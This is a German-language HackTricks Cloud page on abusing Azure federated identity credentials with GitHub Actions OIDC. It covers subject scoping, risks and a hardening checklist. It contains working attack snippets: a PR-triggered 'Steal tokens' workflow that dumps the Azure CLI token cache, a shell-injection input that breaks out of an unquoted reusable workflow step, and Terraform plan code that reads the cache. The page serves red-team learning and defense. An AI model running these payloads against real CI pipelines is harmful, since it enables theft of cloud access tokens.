Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Übersicht
GitHub Actions kann über OpenID Connect (OIDC) mit Azure Entra ID (früher Azure AD) föderieren. Ein GitHub-Workflow fordert ein kurzlebiges GitHub ID token (JWT) an, das Details zum Run kodiert. Azure validiert dieses Token gegen ein Federated Identity Credential (FIC) in einer App Registration (service principal) und tauscht es gegen Azure access tokens (MSAL cache, bearer tokens für Azure APIs).
Azure validiert mindestens:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: muss mit dem konfigurierten FIC Subject identifier übereinstimmen
Der standardmäßige GitHub aud kann eine GitHub-URL sein. Beim Austausch mit Azure sollte explizit audience=api://AzureADTokenExchange gesetzt werden.
GitHub ID token quick PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
Um die Azure-Audience bei der Token-Anfrage zu erzwingen:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure-Einrichtung (Workload Identity Federation)
-
Erstellen Sie eine App Registration (service principal) und gewähren Sie die geringsten Berechtigungen (z. B. Storage Blob Data Contributor für ein bestimmtes Storage-Konto).
-
Fügen Sie Federated identity credentials hinzu:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: eng auf den vorgesehenen Workflow/Run-Kontext begrenzt (siehe Scoping and risks weiter unten).
- Verwenden Sie azure/login, um das GitHub ID-Token auszutauschen und sich bei der Azure CLI anzumelden:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
Beispiel für einen manuellen Austausch (Graph-Scope gezeigt; ARM oder andere Ressourcen ähnlich):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) Aufbau und Anpassung
Default sub format: repo:
Kontextwerte umfassen:
- environment:
- pull_request (PR triggers when not in an environment)
- ref:refs/(heads|tags)/
Nützliche Claims, die häufig im Payload enthalten sind:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Passe die sub-Zusammensetzung über die GitHub API an, um zusätzliche Claims aufzunehmen und das Kollisionsrisiko zu verringern:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
Hinweis: Doppelpunkte in Umgebungsnamen sind URL‑kodiert (%3A), wodurch ältere Delimiter‑Injection‑Tricks beim sub‑Parsing entfernt werden. Die Verwendung nicht‑eindeutiger subject‑Werte (z. B. nur environment:
Umfang und Risiken der FIC-Subject-Typen
- Branch/Tag: sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - Risiko: Wenn der Branch/Tag ungeschützt ist, kann jeder Contributor pushen und Tokens erhalten.
- Environment: sub=repo:
/ :environment: - Risiko: Ungeschützte Environments (keine Reviewer) erlauben es Contributors, Tokens zu erzeugen.
- Pull request: sub=repo:
/ :pull_request - Höchstes Risiko: Jeder Collaborator kann einen PR öffnen und die FIC‑Bedingung erfüllen.
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
Zugehörige Dateipfade und Hinweise:
- Linux/macOS: ~/.azure/msal_token_cache.json enthält MSAL-Token für az CLI-Sitzungen
- Windows: msal_token_cache.bin im Benutzerprofil; DPAPI-geschützt
Wiederverwendbare Workflows und job_workflow_ref-Scoping
Das Aufrufen eines wiederverwendbaren Workflows fügt job_workflow_ref dem GitHub ID token hinzu, z. B.:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
FIC-Beispiel, um sowohl das caller repo als auch den reusable workflow zu binden:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
Konfiguriere claims im caller repo, sodass sowohl repo als auch job_workflow_ref im sub vorhanden sind:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Warnung: Wenn du nur job_workflow_ref im FIC bindest, könnte ein Angreifer ein anderes repo in derselben org erstellen, denselben reusable workflow auf demselben ref ausführen, das FIC erfüllen und Tokens minten. Schließe stets auch das caller repo ein.
Vektoren zur Codeausführung, die den job_workflow_ref-Schutz umgehen
Selbst mit korrekt eingeschränktem job_workflow_ref können alle vom caller kontrollierten Daten, die ohne sicheres Quoting in die shell gelangen, zur Codeausführung innerhalb des geschützten Workflow-Kontexts führen.
Beispiel für einen verwundbaren reusable step (ungequotete Interpolation):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
Bösartige Eingabe durch einen Caller, um Befehle auszuführen und den Azure Token-Cache zu exfiltrieren:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan als Ausführungsprimitive in PRs
Behandle terraform plan als Codeausführung. Während des plan-Vorgangs kann Terraform:
- Beliebige Dateien lesen über Funktionen wie file()
- Befehle ausführen über die external data source
Beispiel, um den Azure token cache während des plan zu exfiltrate:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
Oder verwende external, um beliebige Befehle auszuführen:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Die Gewährung von FICs, die in PR‑ausgelösten plans verwendbar sind, legt privilegierte Tokens offen und kann später zu zerstörerischen apply‑Vorgängen führen. Trenne Identitäten für plan vs apply; erlaube niemals privilegierte Tokens in nicht vertrauenswürdigen PR‑Kontexten.
Härtungs-Checkliste
- Never use sub=...:pull_request for sensitive FICs
- Schütze jeden Branch/Tag/Environment, der/das von FICs referenziert wird (branch protection, environment reviewers)
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
- Passe den GitHub OIDC sub an, um eindeutige Claims einzuschließen (z. B. repo, job_workflow_ref, repository_owner)
- Eliminiere nicht in Anführungszeichen gesetzte Interpolation von Aufrufer-Eingaben in run‑Schritten; sichere Kodierung/Quotierung
- Behandle terraform plan als Codeausführung; beschränke oder isoliere Identitäten in PR‑Kontexten
- Durchsetze Least Privilege bei App Registrations; separate Identitäten für plan vs apply
- Pin actions und reusable workflows auf Commit‑SHAs (vermeide Branch/Tag‑Pins)
Tipps für manuelle Tests
- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
- Dekodiere das JWT, um Claims zu prüfen: iss, aud, sub, job_workflow_ref, repository, ref
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
- Nach azure/login, lies ~/.azure/msal_token_cache.json, um das Vorhandensein von Token‑Material zu verifizieren
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud